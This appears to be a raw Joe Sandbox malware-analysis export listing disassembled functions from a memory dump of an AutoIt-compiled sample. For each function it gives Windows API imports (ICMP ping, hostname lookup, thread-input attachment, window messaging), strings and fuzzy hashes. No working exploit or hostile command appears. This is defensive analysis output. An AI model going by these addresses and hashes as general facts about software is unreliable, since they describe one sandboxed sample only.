Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CurrentDirectory$CreateFileFullNamePathwcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 2207129308-1018226102
Opcode ID: 8eddc04ab28817822f4a93ed76fa85581b07abfed3b528ac44f53e81da1efb71
Instruction ID: a74cdd73b1bd3738caa59d946a53681f32a16eecaf00bda4784479a184aaee0d
Opcode Fuzzy Hash: 8eddc04ab28817822f4a93ed76fa85581b07abfed3b528ac44f53e81da1efb71
Instruction Fuzzy Hash: 5712A12AA18682A5FB60FB24E4421BDB770FB85794FC00172EA4E47A99DF7CD505E720

Function 00007FF73A262A18 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 174networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32 ref: 00007FF73A262A8F
inet_addr.WSOCK32 ref: 00007FF73A262AED
gethostbyname.WSOCK32 ref: 00007FF73A262AFA
IcmpCreateFile.IPHLPAPI ref: 00007FF73A262B08
IcmpSendEcho.IPHLPAPI ref: 00007FF73A262BAD
IcmpCloseHandle.IPHLPAPI ref: 00007FF73A262C77
WSACleanup.WSOCK32 ref: 00007FF73A262C7D

Strings

5, xrefs: 00007FF73A262B79
Ping, xrefs: 00007FF73A262B3F

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Icmp$CleanupCloseCreateEchoFileHandleSendStartupgethostbynameinet_addr
String ID: 5$Ping
API String ID: 1486594354-1972892582
Opcode ID: 9226440d457761ba4f36db6d4fac0bac8b4cce99b63f227200959febed57b86d
Instruction ID: 6e850d59564b446820824e97f76d46c0713c7cbb5397055b897fb735d64be338
Opcode Fuzzy Hash: 9226440d457761ba4f36db6d4fac0bac8b4cce99b63f227200959febed57b86d
Instruction Fuzzy Hash: E0719E6AA0964296FB24EF15D48237DB760FFD4B90F868571EA0E473A1CFBCD540A720

Function 00007FF73A20D504 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A20D681

Strings

nan, xrefs: 00007FF73A20D56C
inf, xrefs: 00007FF73A20D58A
NAN(IND), xrefs: 00007FF73A20D5AF
nan(snan), xrefs: 00007FF73A20D5A4
NAN(SNAN), xrefs: 00007FF73A20D599
NAN, xrefs: 00007FF73A20D565
INF, xrefs: 00007FF73A20D577
nan(ind), xrefs: 00007FF73A20D5BA

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: e534a4a1f8a44b0f303199b2ab2fa91302a5b5a6dc95b4e8f2eb5eb0306d3d2b
Instruction ID: a08834c6b8e2dd228c769a78a49472d435d66af6b80d8751446fdda4616d5d7e
Opcode Fuzzy Hash: e534a4a1f8a44b0f303199b2ab2fa91302a5b5a6dc95b4e8f2eb5eb0306d3d2b
Instruction Fuzzy Hash: 7641CF3AA06B41A9FB10DF24E8427AD77A8EB48388F814675EE5C47B94DE3CD025E351

Function 00007FF73A23E08C Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A240730: GetClassNameW.USER32 ref: 00007FF73A24075B

SendMessageW.USER32 ref: 00007FF73A23E125
GetDlgCtrlID.USER32 ref: 00007FF73A23E137
GetParent.USER32 ref: 00007FF73A23E148
SendMessageW.USER32 ref: 00007FF73A23E15C
GetDlgCtrlID.USER32 ref: 00007FF73A23E168
GetParent.USER32 ref: 00007FF73A23E177
SendMessageW.USER32 ref: 00007FF73A23E18B

Strings

ComboBox, xrefs: 00007FF73A23E0A6
ListBox, xrefs: 00007FF73A23E0DF

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName
String ID: ComboBox$ListBox
API String ID: 2573188126-1403004172
Opcode ID: dfb27eded382d04c42ecc2cdc37d493d18a0521dff18e187c2c339d4b9f3cbe5
Instruction ID: 8a96cc32afaebae298ab6d00e8d90a45519fcd925dd5c4316ec081a39082df77
Opcode Fuzzy Hash: dfb27eded382d04c42ecc2cdc37d493d18a0521dff18e187c2c339d4b9f3cbe5
Instruction Fuzzy Hash: 44310839A08640A1FB10BB15E8161F9A360FFC9BE0F844271DEAD437D9DE2CD505E760

Function 00007FF73A23E1AC Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A240730: GetClassNameW.USER32 ref: 00007FF73A24075B

SendMessageW.USER32 ref: 00007FF73A23E244
GetDlgCtrlID.USER32 ref: 00007FF73A23E256
GetParent.USER32 ref: 00007FF73A23E267
SendMessageW.USER32 ref: 00007FF73A23E27B
GetDlgCtrlID.USER32 ref: 00007FF73A23E287
GetParent.USER32 ref: 00007FF73A23E296
SendMessageW.USER32 ref: 00007FF73A23E2AA

Strings

ComboBox, xrefs: 00007FF73A23E1C6
ListBox, xrefs: 00007FF73A23E1FF

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName
String ID: ComboBox$ListBox
API String ID: 2573188126-1403004172
Opcode ID: f1b4cfdd9199acace61e0bbbc7281290769df8079891c472fcd9c3ff8be8a576
Instruction ID: 45cd74b68bc1a8826245c6512d72cd76eb037c0abb806a6518cbc465e1a64707
Opcode Fuzzy Hash: f1b4cfdd9199acace61e0bbbc7281290769df8079891c472fcd9c3ff8be8a576
Instruction Fuzzy Hash: 1331E429A08B81A6FB10AB15E8561F9A360BFC9BE0F844170DE9D437D9DE2CD509E760

Function 00007FF73A24CA98 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 59networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32 ref: 00007FF73A24CAB8
gethostname.WSOCK32 ref: 00007FF73A24CAD0
gethostbyname.WSOCK32 ref: 00007FF73A24CADB
wcscpy.LIBCMT ref: 00007FF73A24CB12
inet_ntoa.WSOCK32 ref: 00007FF73A24CB38
wcscpy.LIBCMT ref: 00007FF73A24CB61
WSACleanup.WSOCK32 ref: 00007FF73A24CB6E
wcscpy.LIBCMT ref: 00007FF73A24CB80

Strings

0.0.0.0, xrefs: 00007FF73A24CB08

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: wcscpy$CleanupStartupgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 2479661705-3771769585
Opcode ID: 281b95de85becf4cb0c172ae07bcd082ee5a72526fdd79f54f4593c1c2c2b1be
Instruction ID: 5bbc40b88accd6097f9427adf131535ce700839cfb13557e7b0cd0a7865dd285
Opcode Fuzzy Hash: 281b95de85becf4cb0c172ae07bcd082ee5a72526fdd79f54f4593c1c2c2b1be
Instruction Fuzzy Hash: D8218125A09983A1FA24BB15E4463BDA361BFD4BC0FC04171DA4D46AA5DE6CD544F320

Function 00007FF73A280D7C Relevance: 15.2, APIs: 10, Instructions: 209windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D2A54: GetWindowLongPtrW.USER32 ref: 00007FF73A1D2A71

PostMessageW.USER32 ref: 00007FF73A280DEE
GetFocus.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF73A280DFF
GetDlgCtrlID.USER32 ref: 00007FF73A280E0C
GetMenuItemInfoW.USER32 ref: 00007FF73A280F43
GetMenuItemCount.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF73A280F61
GetMenuItemID.USER32 ref: 00007FF73A280F76
GetMenuItemInfoW.USER32 ref: 00007FF73A280FB1
GetMenuItemInfoW.USER32 ref: 00007FF73A280FFC
CheckMenuRadioItem.USER32 ref: 00007FF73A281033

Part of subcall function 00007FF73A27FB28: IsWindow.USER32 ref: 00007FF73A27FBED
Part of subcall function 00007FF73A27FB28: IsWindowEnabled.USER32 ref: 00007FF73A27FBFA

DefDlgProcW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF73A28106A

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ItemMenu$InfoWindow$CheckCountCtrlEnabledFocusLongMessagePostProcRadio
String ID:
API String ID: 2672075419-0
Opcode ID: 7f60c88404643dc1ac8f4702e655552145117f454e5503c1890abb71af915063
Instruction ID: 1cee6e1c44255427b503f3ac0a11ab1ebd801e7d840167f6561ad4d680188538
Opcode Fuzzy Hash: 7f60c88404643dc1ac8f4702e655552145117f454e5503c1890abb71af915063
Instruction Fuzzy Hash: AC91843AB0965299F750EF61D4423BDB3A5FB84B88F904075EE0D83A99CE39E445F320

Function 00007FF73A2492E4 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF73A249318
GetForegroundWindow.USER32(?,?,?,00007FF73A2480FE), ref: 00007FF73A249329
GetWindowThreadProcessId.USER32 ref: 00007FF73A249334
AttachThreadInput.USER32(?,?,?,00007FF73A2480FE), ref: 00007FF73A249348
GetWindowThreadProcessId.USER32 ref: 00007FF73A24935E
AttachThreadInput.USER32(?,?,?,00007FF73A2480FE), ref: 00007FF73A24937A
AttachThreadInput.USER32(?,?,?,00007FF73A2480FE), ref: 00007FF73A249393
AttachThreadInput.USER32(?,?,?,00007FF73A2480FE), ref: 00007FF73A2493D2
AttachThreadInput.USER32(?,?,?,00007FF73A2480FE), ref: 00007FF73A2493ED
AttachThreadInput.USER32(?,?,?,00007FF73A2480FE), ref: 00007FF73A249400

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: f7d99cf07bea50fb16dd5d3cc311eaa5ea5dc55bf0c60a23a6c1e8e39f679243
Instruction ID: 04ea21895d9638b45b2b8a0da9c099bc623ef251d7859910fc819303795b3bc4
Opcode Fuzzy Hash: f7d99cf07bea50fb16dd5d3cc311eaa5ea5dc55bf0c60a23a6c1e8e39f679243
Instruction Fuzzy Hash: 28315029B0C612A6F750AB26E886639F3A1BFC4750FD04474DD4A83B54DE3DE845BA20

Function 00007FF73A23F7F4 Relevance: 14.5, APIs: 2, Strings: 6, Instructions: 471COMMON

Download Yara Rule

Strings

INSTANCE, xrefs: 00007FF73A23FCC3, 00007FF73A23FCD4
NAME, xrefs: 00007FF73A23FAA9, 00007FF73A23FABA
CLASS, xrefs: 00007FF73A23F8A8, 00007FF73A23F8D1
TEXT, xrefs: 00007FF73A23FD2F, 00007FF73A23FD40
CLASSNN, xrefs: 00007FF73A23F924, 00007FF73A23F935
REGEXPCLASS, xrefs: 00007FF73A23F988, 00007FF73A23F99D

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID:
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 0-1603158881
Opcode ID: 8d2a20e7415997667591ce402e351c43c5a03fc0fc3fcc6e8889e86afd0c7263
Instruction ID: 742ac7ef1323b2536d77071e966c4664acfa2a221ca0a3a4b51d44606a746933
Opcode Fuzzy Hash: 8d2a20e7415997667591ce402e351c43c5a03fc0fc3fcc6e8889e86afd0c7263
Instruction Fuzzy Hash: A012E66AF1964371FA58AB24E8072F9E2A1BF95B44FC44571CA1E4A2D0EF7DE540F320

Function 00007FF73A27A350 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 139windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D932C: CreateWindowExW.USER32 ref: 00007FF73A1D93BC
Part of subcall function 00007FF73A1D932C: GetStockObject.GDI32 ref: 00007FF73A1D93D9
Part of subcall function 00007FF73A1D932C: SendMessageW.USER32 ref: 00007FF73A1D93EC

SendMessageW.USER32 ref: 00007FF73A27A461
SendMessageW.USER32 ref: 00007FF73A27A47A
SetWindowPos.USER32 ref: 00007FF73A27A4A7
wcscat.LIBCMT ref: 00007FF73A27A509
SendMessageW.USER32 ref: 00007FF73A27A51D
SendMessageW.USER32 ref: 00007FF73A27A54E

Strings

SysListView32, xrefs: 00007FF73A27A3B0
-----, xrefs: 00007FF73A27A4FB

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$Window$CreateObjectStockwcscat
String ID: -----$SysListView32
API String ID: 2361508679-3975388722
Opcode ID: c344d9879c390065c59b29320dac7b0039891542bbecba4ba3e0f02e7f9bfa97
Instruction ID: 4a0ac899ce5da24aaf0d8b00eb58d737c681eae0e7c2572791e5e3b06f869b05
Opcode Fuzzy Hash: c344d9879c390065c59b29320dac7b0039891542bbecba4ba3e0f02e7f9bfa97
Instruction Fuzzy Hash: 0F511336A047929AF720DF24E8456DD73A5FB88794F80013AEE4C47B59CF39D694EB40

Function 00007FF73A23E2CC Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00007FF73A23E2DF
GetClassNameW.USER32 ref: 00007FF73A23E2F6

Part of subcall function 00007FF73A1F8E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A1F8E4F

SendMessageW.USER32 ref: 00007FF73A23E386

Strings

largeicons, xrefs: 00007FF73A23E314
SHELLDLL_DefView, xrefs: 00007FF73A23E2FC
smallicons, xrefs: 00007FF73A23E34A
details, xrefs: 00007FF73A23E32F
list, xrefs: 00007FF73A23E365

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ClassMessageNameParentSend_invalid_parameter_noinfo
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 2019164449-3381328864
Opcode ID: 85bc50b5cb3f1aae72e6251db0d1ce00868677b2ce09b4091907517111ac15a9
Instruction ID: 2c33f81d619082b8ae58f798caa07bb084cd219a05b308ed4f74a0260d2832d4
Opcode Fuzzy Hash: 85bc50b5cb3f1aae72e6251db0d1ce00868677b2ce09b4091907517111ac15a9
Instruction Fuzzy Hash: 6D216F29F1C543A0FA50BB15E9462B9A3A0AFC1784F8481F6DE0D47295EE3DE51AB720

Function 00007FF73A27C324 Relevance: 13.7, APIs: 9, Instructions: 163windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF73A27C40A
ShowWindow.USER32(00000000,?,?,00007FF73A21DF87), ref: 00007FF73A27C449
ShowWindow.USER32 ref: 00007FF73A27C457
SetFocus.USER32 ref: 00007FF73A27C460

Part of subcall function 00007FF73A27E7D4: DeleteObject.GDI32 ref: 00007FF73A27E82A

GetWindowLongW.USER32 ref: 00007FF73A27C4A8
SetWindowLongPtrW.USER32 ref: 00007FF73A27C4BD
InvalidateRect.USER32(00000000,?,?,00007FF73A21DF87), ref: 00007FF73A27C4F7
SendMessageW.USER32 ref: 00007FF73A27C536
SendMessageW.USER32 ref: 00007FF73A27C54A

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
String ID:
API String ID: 3210457359-0
Opcode ID: 33ab6cce80c9e0840b45516de4cf550524ae496078474d2d7534a7033dd0db45
Instruction ID: 216f38d83723950ade08404e87b60dd75eedb8f89e286cfb2ddacd54a4f03e76
Opcode Fuzzy Hash: 33ab6cce80c9e0840b45516de4cf550524ae496078474d2d7534a7033dd0db45
Instruction Fuzzy Hash: 3461C42DA08543A6FB34BA35945B7BAA761BFC0794F9040B1EE1D436D6CE7EE540B320

Function 00007FF73A23D780 Relevance: 13.6, APIs: 9, Instructions: 54memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF73A23D7A2
HeapAlloc.KERNEL32 ref: 00007FF73A23D7B4
GetCurrentProcess.KERNEL32 ref: 00007FF73A23D7BD
GetCurrentProcess.KERNEL32 ref: 00007FF73A23D7C6
DuplicateHandle.KERNEL32 ref: 00007FF73A23D7EA
GetCurrentProcess.KERNEL32 ref: 00007FF73A23D7F0
GetCurrentProcess.KERNEL32 ref: 00007FF73A23D7F9
DuplicateHandle.KERNEL32 ref: 00007FF73A23D81E
CreateThread.KERNEL32 ref: 00007FF73A23D844

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 67bda6fc94471c3762a54e3e67296020613b076a2f011637c0efff71f078e81c
Instruction ID: 4c3ee45a9406ed66750a78b9fccbb511206f333e337292b15ca392aab4aae781
Opcode Fuzzy Hash: 67bda6fc94471c3762a54e3e67296020613b076a2f011637c0efff71f078e81c
Instruction Fuzzy Hash: 8021593A919B8186E710DF42E44936AB7A4F789FDAF844165EE8D13B64CF7CD1489B00

Function 00007FF73A280B24 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 142windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D2A54: GetWindowLongPtrW.USER32 ref: 00007FF73A1D2A71

Part of subcall function 00007FF73A1D1CEC: GetCursorPos.USER32 ref: 00007FF73A1D1D1B
Part of subcall function 00007FF73A1D1CEC: ScreenToClient.USER32 ref: 00007FF73A1D1D3A
Part of subcall function 00007FF73A1D1CEC: GetAsyncKeyState.USER32 ref: 00007FF73A1D1D62
Part of subcall function 00007FF73A1D1CEC: GetAsyncKeyState.USER32 ref: 00007FF73A1D1D82

ImageList_DragLeave.COMCTL32 ref: 00007FF73A280BA4
ImageList_EndDrag.COMCTL32 ref: 00007FF73A280BAA
ReleaseCapture.USER32 ref: 00007FF73A280BB0
SetWindowTextW.USER32 ref: 00007FF73A280C5E
SendMessageW.USER32 ref: 00007FF73A280C73

Strings

@GUI_DRAGFILE, xrefs: 00007FF73A280CE0
@GUI_DROPID, xrefs: 00007FF73A280C99

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 3721556410-2107944366
Opcode ID: 70d47c5170b8672f03edd05a98c6d2966c5763d27284998555ab0e28016c2037
Instruction ID: 0743c62b404395c79339709784ad60d7f634a9314679b1ea7147c671924809e8
Opcode Fuzzy Hash: 70d47c5170b8672f03edd05a98c6d2966c5763d27284998555ab0e28016c2037
Instruction Fuzzy Hash: ED61C43AA18A52A9F700FF61E8825ED7774FB84B98F800172ED0D53AA9DF38D545E350

Function 00007FF73A24A070 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 135windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00007FF73A24A12F
IsMenu.USER32 ref: 00007FF73A24A151
CreatePopupMenu.USER32 ref: 00007FF73A24A183
GetMenuItemCount.USER32 ref: 00007FF73A24A1DD
InsertMenuItemW.USER32 ref: 00007FF73A24A209

Strings

P, xrefs: 00007FF73A24A0D0
2, xrefs: 00007FF73A24A167

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
